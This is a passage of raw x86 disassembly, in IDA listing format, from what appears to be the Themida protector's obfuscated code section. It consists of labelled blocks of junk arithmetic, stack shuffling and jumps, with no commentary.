or ebx, 4E036B59h
jmp loc_5A045C
; ---------------------------------------------------------------------------
loc_59F951: ; CODE XREF: Themida_:005A7ECBj
mov cl, bh
mov ah, cl
mov ecx, [esp]
add esp, 4
pop ebx
mov ch, ah
pop eax
or ch, 1Ah
xor ch, 0C6h
shl ch, 5
or ch, 67h
add ch, 48h
sub al, ch
pop ecx
jmp loc_5A3097
; ---------------------------------------------------------------------------
loc_59F976: ; CODE XREF: Themida_:005AA9EAj
mov [esp], ecx
push eax
jmp loc_5A2460
; ---------------------------------------------------------------------------
loc_59F97F: ; CODE XREF: Themida_:0059AF5Ej
; Themida_:005A4636j
push 5D165F1Bh
pop eax
push ebx
push esi
mov esi, 48093A51h
mov ebx, 62C24C6Ah
xor ebx, esi
pop esi
add eax, 23961B79h
add eax, ebx
sub eax, 23961B79h
pop ebx
push 0
jmp loc_5AC41B
; ---------------------------------------------------------------------------
loc_59F9AB: ; CODE XREF: Themida_:0059E9BAj
mov edx, esp
jmp loc_59F0CF
; ---------------------------------------------------------------------------
loc_59F9B2: ; CODE XREF: Themida_:005AEE0Fj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
jmp loc_5A047B
; ---------------------------------------------------------------------------
loc_59F9C7: ; CODE XREF: Themida_:0059A0BAj
mov esp, [esp]
add esp, 4
push ebp
push eax
push ebp
mov ebp, 5A1A7BE0h
jmp loc_5A9CB6
; ---------------------------------------------------------------------------
loc_59F9DA: ; CODE XREF: Themida_:005A9657j
push dword ptr [esp]
pop eax
jmp loc_5A367E
; ---------------------------------------------------------------------------
loc_59F9E3: ; CODE XREF: Themida_:005A481Cj
xor eax, 7A9A50E8h
add eax, 1F014080h
add esi, eax
pop eax
push 2160h
mov [esp], ebx
mov ebx, 4
jmp loc_5AB2EE
; ---------------------------------------------------------------------------
loc_59FA02: ; CODE XREF: Themida_:0059C4A8j
push eax
xor dword ptr [esp], 65947292h
pop ebx
xor ebx, 65947292h
pop eax
mov esi, [esp]
add esp, 4
jmp loc_5A505A
; ---------------------------------------------------------------------------
loc_59FA20: ; CODE XREF: Themida_:0059B0B4j
sub ebx, 12A27443h
mov eax, ebx
jmp loc_5ADD00
; ---------------------------------------------------------------------------
loc_59FA2D: ; CODE XREF: Themida_:0059D24Fj
not bl
jmp loc_5A7D6B
; ---------------------------------------------------------------------------
loc_59FA34: ; CODE XREF: Themida_:005A363Ej
pop edi
jmp loc_5989B4
; ---------------------------------------------------------------------------
loc_59FA3A: ; CODE XREF: Themida_:0059E347j
or esi, 24C0655h
jmp loc_5A3E11
; ---------------------------------------------------------------------------
loc_59FA45: ; CODE XREF: Themida_:005A88ADj
push dword ptr [esp]
pop eax
push 79ABh
jmp loc_59ED96
; ---------------------------------------------------------------------------
loc_59FA53: ; CODE XREF: Themida_:005A8A08j
add ebx, edi
sub ebx, 18B8444Ah
pop edi
add ebx, 2
xchg ebx, [esp]
pop esp
mul cx
push small 5169h
mov [esp], dx
jmp loc_5A8B24
; ---------------------------------------------------------------------------
loc_59FA73: ; CODE XREF: Themida_:005AA16Ej
push ecx
push edx
mov edx, 3F836EFAh
neg edx
dec edx
jno loc_59E086
dec edx
jg loc_5A07D0
sub edx, 4CE67444h
loc_59FA90: ; CODE XREF: Themida_:005A2689j
movzx cx, al
push cx
pushf
jmp loc_5A2AF6
; ---------------------------------------------------------------------------
loc_59FA9C: ; CODE XREF: Themida_:005A6DF6j
push edi
mov edi, 0BA471CDh
shr edi, 1
shr edi, 8
jmp loc_59978D
; ---------------------------------------------------------------------------
loc_59FAAC: ; CODE XREF: Themida_:00599452j
; Themida_:0059EE1Aj
not ecx
inc ecx
add ecx, 233E56AEh
push ecx
jmp loc_59C494
; ---------------------------------------------------------------------------
loc_59FABB: ; CODE XREF: Themida_:005A17B2j
xor eax, 4FF45DFBh
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
jmp loc_5AF285
; ---------------------------------------------------------------------------
loc_59FACC: ; CODE XREF: Themida_:005A1A12j
add bl, ch
pop cx
jmp loc_5A38F7
; ---------------------------------------------------------------------------
loc_59FAD5: ; CODE XREF: Themida_:005A0265j
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_5A6C1D
; ---------------------------------------------------------------------------
loc_59FAE1: ; CODE XREF: Themida_:0059952Ej
add esp, 4
sub cl, 85h
jmp loc_5AE965
; ---------------------------------------------------------------------------
loc_59FAEF: ; CODE XREF: Themida_:loc_599ED6j
or ebx, 47D33DC4h
ja loc_59F476
shl ebx, 2
or ebx, 1C716D06h
mov cl, cl
loc_59FB06: ; CODE XREF: Themida_:005A65A1j
add ebp, 0CFBC6699h
mov edx, ebp
jmp loc_5ACAD7
; ---------------------------------------------------------------------------
loc_59FB13: ; CODE XREF: Themida_:005A879Ej
sub ebx, eax
add ebx, 3EA94280h
jmp loc_599A47
; ---------------------------------------------------------------------------
loc_59FB20: ; CODE XREF: Themida_:005AEB92j
pop esi
mov ecx, esi
push dword ptr [esp]
pop esi
jmp loc_5A329E
; ---------------------------------------------------------------------------
loc_59FB2C: ; CODE XREF: Themida_:005AAFDFj
mov eax, [esp]
add esp, 4
push ebx
push 66CAh
mov [esp], esp
jmp loc_599016
; ---------------------------------------------------------------------------
loc_59FB43: ; CODE XREF: Themida_:005AC1ACj
xchg edi, [esp]
mov esp, [esp]
xor ecx, [esp]
jmp loc_5A4BC1
; ---------------------------------------------------------------------------
loc_59FB51: ; CODE XREF: Themida_:005A7219j
xor ebx, [esp]
jmp loc_5A6F1A
; ---------------------------------------------------------------------------
loc_59FB59: ; CODE XREF: Themida_:005A5412j
; Themida_:005A8906j
push dword ptr [esp]
pop ecx
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push ecx
sub esp, 4
mov [esp], eax
push 0
mov eax, [esp]
add esp, 4
jmp loc_5AC971
; ---------------------------------------------------------------------------
loc_59FB83: ; CODE XREF: Themida_:005A6A5Aj
add edx, edi
jmp loc_5A9D97
; ---------------------------------------------------------------------------
loc_59FB8A: ; CODE XREF: Themida_:loc_5A1DAEj
push 65C0h
mov [esp], ecx
mov cx, 74CFh
and cx, 74F0h
jmp loc_59B847
; ---------------------------------------------------------------------------
loc_59FBA0: ; CODE XREF: Themida_:005AA37Dj
push ebx
mov ebx, 6F831ACCh
inc ebx
jle loc_5AE597
jmp loc_5AEAAC
; ---------------------------------------------------------------------------
loc_59FBB2: ; CODE XREF: Themida_:005A8FE1j
jmp loc_5ACABC
; ---------------------------------------------------------------------------
loc_59FBB7: ; CODE XREF: Themida_:005AEE54j
push esp
pop edi
add edi, 4
jmp loc_5998B5
; ---------------------------------------------------------------------------
loc_59FBC4: ; CODE XREF: Themida_:005A525Aj
pop ecx
push dword ptr [esp]
pop edx
push 7182h
mov [esp], eax
jmp loc_599C2C
; ---------------------------------------------------------------------------
loc_59FBD6: ; CODE XREF: Themida_:005A7DA5j
push 6A2Fh
mov [esp], ebp
sub esp, 4
mov [esp], eax
add dword ptr [esp], 54837856h
pop ebp
sub ebp, 54837856h
jmp loc_5A42E2
; ---------------------------------------------------------------------------
loc_59FBF7: ; CODE XREF: Themida_:005A77D7j
sub edx, 44971BE5h
jnp loc_5A6FE7
xor edx, 7E5B4Dh
jl loc_5AC961
mov dh, dh
loc_59FC11: ; CODE XREF: Themida_:0059B473j
mov edi, 598842BAh
add ecx, edi
mov edi, [esp]
add esp, 4
push edx
jmp loc_5AD25B
; ---------------------------------------------------------------------------
loc_59FC24: ; CODE XREF: Themida_:005ACADCj
pop ebp
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 554946CEh
sub ecx, 5CA039Fh
jmp loc_59A03A
; ---------------------------------------------------------------------------
loc_59FC3C: ; CODE XREF: Themida_:005A210Bj
mov ebp, esp
jmp loc_59E8AC
; ---------------------------------------------------------------------------
loc_59FC43: ; CODE XREF: Themida_:0059B132j
pop ecx
not ecx
add ecx, 0E5FFEE2Ch
and eax, ecx
push dword ptr [esp]
pop ecx
add esp, 4
or eax, eax
jz loc_59B17A
sub esp, 4
mov [esp], ebx
jmp loc_5A18DB
; ---------------------------------------------------------------------------
loc_59FC68: ; CODE XREF: Themida_:0059AC64j
push dword ptr [esp]
mov esi, [esp]
add esp, 4
jmp loc_59CA16
; ---------------------------------------------------------------------------
loc_59FC76: ; CODE XREF: Themida_:005A32BBj
dec ch
sub ch, 0EBh
jmp loc_59F0E4
; ---------------------------------------------------------------------------
loc_59FC80: ; CODE XREF: Themida_:005A8243j
shr ebx, 1
jz loc_5A06BE
sub ebx, 1EF99FFBh
push ebx
xor dword ptr [esp], 96E2F15h
jmp loc_5A8AC7
; ---------------------------------------------------------------------------
loc_59FC9B: ; CODE XREF: Themida_:005983F6j
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
pop edx
push 2EDAh
jmp loc_5A15F3
; ---------------------------------------------------------------------------
loc_59FCC5: ; CODE XREF: Themida_:005A33C6j
jmp loc_5A8404
; ---------------------------------------------------------------------------
loc_59FCCA: ; CODE XREF: Themida_:0059E418j
; Themida_:005AE554j
add esi, 719C3375h
or edx, esi
pop esi
add edx, 1
add edx, 4310394Bh
add edx, 423DEC4Fh
jmp loc_59C233
; ---------------------------------------------------------------------------
loc_59FCEA: ; CODE XREF: Themida_:005A5B8Cj
; Themida_:005A62C2j
push ebx
mov ebx, esp
push ebp
mov ebp, 6BBF6018h
and ebp, 60E50A92h
or ebp, 23FF7EC1h
xor ebp, 61554BD0h
sub ebp, 2AA34FDh
add ebx, ebp
jmp loc_59AE2F
; ---------------------------------------------------------------------------
loc_59FD12: ; CODE XREF: Themida_:005A31C4j
mov edi, 68EA371Dh
jmp loc_5AE935
; ---------------------------------------------------------------------------
loc_59FD1C: ; CODE XREF: Themida_:005AAA20j
add ecx, 59866DDh
not ecx
push ebp
mov ebp, 52C86C29h
dec ebp
and ebp, 50D63404h
add ebp, 2FC6E43h
sub ebp, 7AB24712h
push esi
jmp loc_5ADB90
; ---------------------------------------------------------------------------
loc_59FD43: ; CODE XREF: Themida_:005A7711j
mov ecx, esp
add ecx, 4
add ecx, 2
jmp loc_59D60D
; ---------------------------------------------------------------------------
loc_59FD53: ; CODE XREF: Themida_:0059C509j
; Themida_:0059C5E8j
mov edi, 21993A08h
add edi, 2DAD4073h
not edi
or edi, 1AD40758h
neg edi
jmp loc_5A7143
; ---------------------------------------------------------------------------
loc_59FD6D: ; CODE XREF: Themida_:005A4A15j
push ebx
mov ebx, 5A7F7DB3h
shl ebx, 3
push edi
sub esp, 4
mov [esp], ebp
mov ebp, 5E802D27h
mov edi, ebp
pop ebp
add ebx, edi
pop edi
add eax, ebx
pop ebx
and eax, 0CED437Ah
push ecx
mov ecx, 308B22CAh
add eax, ecx
pop ecx
add eax, 0C48C83BBh
xor edi, eax
push dword ptr [esp]
pop eax
push 5D60h
mov [esp], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp], ebx
mov ebx, 36E53E9h
inc ebx
xor ebx, 6AA14F56h
sub ebx, 69CF1CB8h
jmp loc_59F4B5
; ---------------------------------------------------------------------------
loc_59FDD4: ; CODE XREF: Themida_:005A7B99j
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
neg esi
jmp loc_5AD922
; ---------------------------------------------------------------------------
loc_59FDE4: ; CODE XREF: Themida_:0059E2F7j
push esi
mov esi, 40880D51h
jmp loc_5AEB3D
; ---------------------------------------------------------------------------
loc_59FDEF: ; CODE XREF: Themida_:005AE4ADj
add ebx, 13C34CAh
add ebx, edx
sub ebx, 13C34CAh
pop edx
add eax, 74070E7Bh
sub eax, 59DE459Ah
add eax, ebx
add eax, 59DE459Ah
sub eax, 74070E7Bh
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5AABDA
; ---------------------------------------------------------------------------
loc_59FE2B: ; CODE XREF: Themida_:005AE003j
push esi
mov esi, 49DC6673h
jmp loc_59D75C
; ---------------------------------------------------------------------------
loc_59FE36: ; CODE XREF: Themida_:005AF1C8j
jns loc_5AE59C
sub esi, 48E06892h
mov ebp, esi
mov esi, [esp]
jmp loc_5A9325
; ---------------------------------------------------------------------------
loc_59FE4C: ; CODE XREF: Themida_:0059C66Ej
xor ax, bx
push edx
mov dx, 6C8Dh
not dx
inc dx
sub dx, 0D233h
add ax, 7E50h
add ax, 7FE5h
push ebp
jmp loc_5A842C
; ---------------------------------------------------------------------------
loc_59FE6C: ; CODE XREF: Themida_:005AE4D9j
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
jmp loc_59A4BE
; ---------------------------------------------------------------------------
loc_59FE7B: ; CODE XREF: Themida_:005A57D4j
pop edi
jmp loc_5A5BD2
; ---------------------------------------------------------------------------
loc_59FE81: ; CODE XREF: Themida_:005AE6D3j
mov ebp, esp
add ebp, 4
jmp loc_5A88B2
; ---------------------------------------------------------------------------
loc_59FE8E: ; CODE XREF: Themida_:005A646Bj
push eax
mov eax, 2AA94F75h
sub esi, eax
mov eax, [esp]
add esp, 4
pop ebx
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub [esp], ax
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59FEB8: ; CODE XREF: Themida_:005A1760j
pop edx
pop eax
jmp loc_59E0D2
; ---------------------------------------------------------------------------
loc_59FEBF: ; CODE XREF: Themida_:0059C954j
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esp
push ecx
jmp loc_5AA487
; ---------------------------------------------------------------------------
loc_59FED5: ; CODE XREF: Themida_:005A2645j
push edx
jmp loc_59CCB1
; ---------------------------------------------------------------------------
loc_59FEDB: ; CODE XREF: Themida_:005A5F42j
not ecx
add ecx, 83616687h
push 0B83h
mov [esp], ebp
push edi
mov edi, 604E7593h
mov ebp, 0F59EC33Fh
add ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_5A36AA
; ---------------------------------------------------------------------------
loc_59FF06: ; CODE XREF: Themida_:0059DC3Ej
push eax
mov eax, 4
add ebp, eax
pop eax
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
mov [edx], ch
mov ecx, [esp]
add esp, 4
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59FF3B: ; CODE XREF: Themida_:005A12CCj
mov esi, 71E42636h
jmp loc_5AEABC
; ---------------------------------------------------------------------------
loc_59FF45: ; CODE XREF: Themida_:005A743Bj
xchg esi, [esp]
pop esp
jmp loc_59BCE1
; ---------------------------------------------------------------------------
loc_59FF4E: ; CODE XREF: Themida_:005AB43Fj
add edx, edi
pop edi
jmp loc_5A8D8A
; ---------------------------------------------------------------------------
loc_59FF56: ; CODE XREF: Themida_:loc_5AB3A2j
push edx
mov edx, 38CB6A8Ah
shl edx, 2
jmp loc_5AE741
; ---------------------------------------------------------------------------
loc_59FF64: ; CODE XREF: Themida_:005A4451j
push dword ptr [esp]
jmp loc_5A3DC7
; ---------------------------------------------------------------------------
loc_59FF6C: ; CODE XREF: Themida_:005A7C45j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
jmp loc_5ABDF9
; ---------------------------------------------------------------------------
loc_59FF89: ; CODE XREF: Themida_:005A0628j
push ecx
sub esp, 4
mov [esp], esi
push 189F5367h
pop esi
xor esi, 6A6D56ECh
jb loc_5A2794
neg esi
jmp loc_5A06CB
; ---------------------------------------------------------------------------
loc_59FFAC: ; CODE XREF: Themida_:0059DE58j
mov ecx, 67A10E7Ch
add eax, 9F81A20h
jmp loc_5A9EDE
; ---------------------------------------------------------------------------
loc_59FFBB: ; CODE XREF: Themida_:005A2B9Ej
push 4D76291Ch
pop edi
shr edi, 1
jmp loc_5AE295
; ---------------------------------------------------------------------------
loc_59FFC8: ; CODE XREF: Themida_:005A5055j
mov ecx, [esp]
add esp, 4
push 65C0h
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov fs:[edx], ax
jmp loc_5AD08F
; ---------------------------------------------------------------------------
loc_59FFEB: ; CODE XREF: Themida_:005A061Aj
mov [esp], ebx
mov ebx, 6CC39A7h
or ecx, ebx
pop ebx
push 1AFAh
mov [esp], eax
mov eax, 612E7C2Fh
and ecx, eax
jmp loc_5A912F
; ---------------------------------------------------------------------------
loc_5A000A: ; CODE XREF: Themida_:005A2434j
mov ebx, 0FF8E2984h
add eax, ebx
pop ebx
mov esi, eax
pop eax
add edi, esi
push dword ptr [esp]
pop esi
add esp, 4
push ebx
mov ebx, esp
jmp loc_59B478
; ---------------------------------------------------------------------------
loc_5A0029: ; CODE XREF: Themida_:005A0DDAj
push 4B8E764Eh
jmp loc_59F0EF
; ---------------------------------------------------------------------------
loc_5A0033: ; CODE XREF: Themida_:005A6293j
pop edx
jmp loc_59AF23
; ---------------------------------------------------------------------------
loc_5A0039: ; CODE XREF: Themida_:005A0053j
push edi
mov edi, 39B15D45h
sub edi, 43174E52h
jmp loc_59D887
; ---------------------------------------------------------------------------
loc_5A004A: ; CODE XREF: Themida_:005A9B90j
push 684D3BC5h
pop edx
not edx
dec edx
jnp loc_5A0039
push edi
mov edi, 39B15D45h
sub edi, 43174E52h
jmp loc_5A2560
; ---------------------------------------------------------------------------
loc_5A006A: ; CODE XREF: Themida_:005AD66Fj
xor ecx, ebx
jmp loc_5A1E35
; ---------------------------------------------------------------------------
loc_5A0071: ; CODE XREF: Themida_:005A3CABj
push eax
mov eax, 64D25C98h
jmp loc_5A1C34
; ---------------------------------------------------------------------------
loc_5A007C: ; CODE XREF: Themida_:0059950Dj
; Themida_:005AC08Fj
add eax, ecx
add eax, 20F5695Dh
mov ecx, [esp]
add esp, 4
mov edi, eax
jmp loc_5A8302
; ---------------------------------------------------------------------------
loc_5A0090: ; CODE XREF: Themida_:005A3EC8j
push 1953h
mov [esp], ecx
sub esp, 4
mov [esp], edi
mov edi, 2Ch
mov ecx, edi
pop edi
add ecx, 1511053Dh
sub ecx, 59FF4778h
jmp loc_5AC3A4
; ---------------------------------------------------------------------------
loc_5A00BA: ; CODE XREF: Themida_:0059BC4Ej
add ebx, 2EEA032Fh
push eax
mov eax, 26E71BEBh
sub ebx, eax
pop eax
sub ebx, eax
jmp loc_5A34A0
; ---------------------------------------------------------------------------
loc_5A00D0: ; CODE XREF: Themida_:005AA44Ej
mov ebp, 3D7556E9h
sub ebp, 584628C3h
shl ebp, 6
sub ebp, 0CDF34906h
xor edi, ebp
jmp loc_5AEB8F
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5A6A9D
; ---------------------------------------------------------------------------
loc_5A00F3: ; CODE XREF: Themida_:0059F060j
pop ecx
jmp loc_5A8DFF
; ---------------------------------------------------------------------------
loc_5A00F9: ; CODE XREF: Themida_:005A95F3j
pop ecx
jmp loc_5A86B6
; ---------------------------------------------------------------------------
loc_5A00FF: ; CODE XREF: Themida_:0059A582j
mov ebx, 593248E0h
sub esi, ebx
pop ebx
sub esi, edi
add esi, 593248E0h
jmp loc_5A136A
; ---------------------------------------------------------------------------
loc_5A0114: ; CODE XREF: Themida_:005A320Aj
push dword ptr [esp]
pop ecx
add esp, 4
push esi
mov esi, esp
push edx
mov edx, 4
jmp loc_5AD046
; ---------------------------------------------------------------------------
loc_5A0129: ; CODE XREF: Themida_:0059EAF1j
add esp, 4
push dx
mov dh, 4Dh
sub bl, dh
pop dx
push eax
push ebx
mov bl, 9Ah
mov al, bl
pop ebx
inc al
add al, 46h
sub bl, 0F3h
sub bl, al
add bl, 0F3h
pop eax
jmp loc_59AA38
; ---------------------------------------------------------------------------
loc_5A014D: ; CODE XREF: Themida_:loc_59DB22j
add bp, 5E9Bh
mov bx, bp
mov ebp, [esp]
push ebx
mov ebx, esp
jmp loc_5AAF63
; ---------------------------------------------------------------------------
loc_5A0160: ; CODE XREF: Themida_:005A8776j
pop esi
jmp loc_59E051
; ---------------------------------------------------------------------------
loc_5A0166: ; CODE XREF: Themida_:0059F3C1j
push dword ptr [edi+eax*4]
push 7B1Bh
mov [esp], eax
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_5ACC22
; ---------------------------------------------------------------------------
loc_5A0185: ; CODE XREF: Themida_:005A5099j
mov ebp, 619C0541h
jmp loc_59C2BA
; ---------------------------------------------------------------------------
loc_5A018F: ; CODE XREF: Themida_:005AC61Dj
mov ebx, [esp]
add esp, 4
sub dword ptr [esp+4], 519869EDh
add dword ptr [esp+4], 7F10554Dh
sub [esp+4], ebp
sub dword ptr [esp+4], 7F10554Dh
push ebp
jmp loc_5AC9D3
; ---------------------------------------------------------------------------
loc_5A01BA: ; CODE XREF: Themida_:005ACC08j
xchg ebp, [esp]
jmp loc_5A154B
; ---------------------------------------------------------------------------
loc_5A01C2: ; CODE XREF: Themida_:0059A6E3j
jmp loc_5A484B
; ---------------------------------------------------------------------------
loc_5A01C7: ; CODE XREF: Themida_:0059ADCDj
jmp loc_59B0B9
; ---------------------------------------------------------------------------
loc_5A01CC: ; CODE XREF: Themida_:005AEBBAj
pop ebp
add ebx, ebp
jmp loc_5AA8D4
; ---------------------------------------------------------------------------
loc_5A01D4: ; CODE XREF: Themida_:005A4285j
jle loc_5A8C9E
add edi, 1AF1251h
jb loc_5AEBF0
add edi, 32A358B0h
mov ecx, edi
pop edi
push eax
mov eax, 51B029FFh
shr eax, 4
push edx
push 555676F5h
jmp loc_5AAF04
; ---------------------------------------------------------------------------
loc_5A0203: ; CODE XREF: Themida_:005A6DA5j
add ebp, ebx
mov ebx, [esp]
jmp loc_5989EC
; ---------------------------------------------------------------------------
loc_5A020D: ; CODE XREF: Themida_:loc_5A9427j
and dl, 56h
jmp loc_5AB399
; ---------------------------------------------------------------------------
loc_5A0215: ; CODE XREF: Themida_:0059D167j
push esp
push dword ptr [esp]
pop esi
jmp loc_5ACA9D
; ---------------------------------------------------------------------------
loc_5A021F: ; CODE XREF: Themida_:005A736Fj
pop edi
mov esi, ebp
jmp loc_5ADC57
; ---------------------------------------------------------------------------
loc_5A0227: ; CODE XREF: Themida_:005AAACCj
push dword ptr [esp+4]
pop ebx
jmp loc_598F9B
; ---------------------------------------------------------------------------
loc_5A0231: ; CODE XREF: Themida_:005A6C18j
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], esp
push 99Fh
mov [esp], edi
mov edi, 4
jmp loc_5A61B5
; ---------------------------------------------------------------------------
loc_5A024F: ; CODE XREF: Themida_:005A760Aj
mov eax, ebx
jmp loc_59A755
; ---------------------------------------------------------------------------
loc_5A0256: ; CODE XREF: Themida_:0059908Aj
jmp loc_5AC94A
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_59FAD5
; ---------------------------------------------------------------------------
loc_5A026A: ; CODE XREF: Themida_:005A88E6j
jmp loc_5A74E5
; ---------------------------------------------------------------------------
loc_5A026F: ; CODE XREF: Themida_:0059B2CEj
sub edx, 4CAD6108h
add edx, edi
add edx, 4CAD6108h
pop edi
add edx, 286D42EAh
add edx, eax
push ebp
push ecx
mov ecx, 476E5DE8h
mov ebp, 92C97DE5h
sub ebp, ecx
pop ecx
jmp loc_5A0BFD
; ---------------------------------------------------------------------------
loc_5A029A: ; CODE XREF: Themida_:0059A9EEj
; Themida_:005A038Cj
add esp, 4
push edi
jmp loc_5AB3E5
; ---------------------------------------------------------------------------
loc_5A02A3: ; CODE XREF: Themida_:0059AF44j
pop eax
add ecx, 4
xchg ecx, [esp]
pop esp
xor edx, edx
jmp loc_5A4554
; ---------------------------------------------------------------------------
loc_5A02B2: ; CODE XREF: Themida_:005A0A08j
shr ebp, 1
jmp loc_5A99A3
; ---------------------------------------------------------------------------
loc_5A02B9: ; CODE XREF: Themida_:005A4DD0j
sub edx, 23A33C06h
sub edx, 6EF64C5Eh
sub edx, ebp
jmp loc_5A4137
; ---------------------------------------------------------------------------
loc_5A02CC: ; CODE XREF: Themida_:0059D29Ej
pop eax
push edi
pop ebx
pop edi
shr ebx, 1
xor ebx, 3E84B788h
add ecx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
jmp loc_5988E9
; ---------------------------------------------------------------------------
loc_5A02FC: ; CODE XREF: Themida_:0059BEA1j
pop eax
push eax
mov ah, 0B2h
dec ah
shr ah, 2
neg ah
or ah, 3Fh
jmp loc_5A03D8
; ---------------------------------------------------------------------------
loc_5A030F: ; CODE XREF: Themida_:005AC6CBj
mov ebx, 55784D7Bh
or ebp, ebx
pop ebx
dec ebp
xor ebp, 28871EC2h
push edx
mov edx, 1E1C7304h
add edx, 0BA9F0F99h
add ebp, edx
pop edx
xor eax, ebp
pop ebp
jmp loc_59B0B9
; ---------------------------------------------------------------------------
loc_5A0335: ; CODE XREF: Themida_:00598754j
add esp, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
imul ecx, eax
push ecx
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A034B: ; CODE XREF: Themida_:005AB046j
add dword ptr [esp], 4
pop edi
add edi, 4
push eax
jmp loc_5A1B08
; ---------------------------------------------------------------------------
loc_5A035F: ; CODE XREF: Themida_:005A2CCFj
push 1373h
mov [esp], ebx
mov ebx, 0C33DB863h
sub ecx, 66A14739h
sub ecx, 34C5392Ah
sub ecx, ebx
add ecx, 34C5392Ah
add ecx, 66A14739h
pop ebx
or ebx, ecx
mov ecx, [esp]
jmp loc_5A029A
; ---------------------------------------------------------------------------
loc_5A0391: ; CODE XREF: Themida_:0059BFF1j
; Themida_:005AE0E3j
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A1A82
; ---------------------------------------------------------------------------
loc_5A03A3: ; CODE XREF: Themida_:005AB567j
add edx, 3E587587h
add edx, 5B475644h
jmp loc_5A14C8
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4AEh
mov [esp], esi
jmp loc_5AE61F
; ---------------------------------------------------------------------------
loc_5A03C5: ; CODE XREF: Themida_:005A2286j
push ebx
jmp loc_5A91A7
; ---------------------------------------------------------------------------
loc_5A03CB: ; CODE XREF: Themida_:005A77BEj
mov ecx, 0FFFFFFFFh
sub edi, ecx
pop ecx
jmp loc_5A8AA4
; ---------------------------------------------------------------------------
loc_5A03D8: ; CODE XREF: Themida_:005A030Aj
push edx
push eax
mov al, 49h
dec al
jmp loc_598C34
; ---------------------------------------------------------------------------
loc_5A03E3: ; CODE XREF: Themida_:0059DC14j
mov ebx, [esp]
add esp, 4
jmp loc_59F4AB
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push esi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
jmp loc_5AA268
; ---------------------------------------------------------------------------
loc_5A0421: ; CODE XREF: Themida_:0059F49Bj
; Themida_:005A5337j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_59CEC1
; ---------------------------------------------------------------------------
loc_5A0433: ; CODE XREF: Themida_:005A9474j
pop ecx
push 6EECh
jmp loc_59EF40
; ---------------------------------------------------------------------------
loc_5A043E: ; CODE XREF: Themida_:005AB313j
pop esp
push 0C43h
mov [esp], ebx
mov ebx, 65DA33CEh
sub eax, ebx
push dword ptr [esp]
pop ebx
push 8A7h
jmp loc_5ACC52
; ---------------------------------------------------------------------------
loc_5A045C: ; CODE XREF: Themida_:0059F94Cj
shr ebx, 5
add ebx, 77093D03h
neg ebx
sub ebx, 0FFFFFFFFh
add ebx, 797B185Fh
add edx, 7F3B5307h
jmp loc_5AB8F0
; ---------------------------------------------------------------------------
loc_5A047B: ; CODE XREF: Themida_:0059DFF1j
; Themida_:0059F9C2j
mov ecx, 0
jmp loc_5986DF
; ---------------------------------------------------------------------------
loc_5A0485: ; CODE XREF: Themida_:0059DE18j
add edx, 44F93754h
push 6ECEh
mov [esp], esi
pop dword ptr [edx]
mov edx, [esp]
add esp, 4
mov esi, [esp]
push ecx
mov ecx, esp
jmp loc_59AF30
; ---------------------------------------------------------------------------
loc_5A04A9: ; CODE XREF: Themida_:005A21D2j
push ecx
mov ecx, 608C2772h
shr ecx, 4
add ecx, 78650FA3h
inc ecx
jmp loc_5AB2C7
; ---------------------------------------------------------------------------
loc_5A04BE: ; CODE XREF: Themida_:00598718j
mov dh, bh
pop ebx
sub al, dh
pop edx
push cx
mov cl, 2Eh
sub al, 90h
sub al, cl
add al, 90h
jmp loc_5A84DA
; ---------------------------------------------------------------------------
loc_5A04D3: ; CODE XREF: Themida_:00598C3Dj
neg al
add al, 90h
mov dl, al
pop eax
jmp loc_5A422C
; ---------------------------------------------------------------------------
loc_5A04DF: ; CODE XREF: Themida_:005A2515j
push 4F12h
mov [esp], edx
mov edx, 41787CB0h
jmp loc_5A8CDF
; ---------------------------------------------------------------------------
loc_5A04F1: ; CODE XREF: Themida_:0059CE5Cj
; Themida_:0059D25Cj
push 5ECAh
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push esi
push esp
pop esi
push eax
mov eax, 4
add esi, eax
jmp loc_5AD4D2
; ---------------------------------------------------------------------------
loc_5A051F: ; CODE XREF: Themida_:005988D4j
add esp, 4
push edi
jmp loc_5A7283
; ---------------------------------------------------------------------------
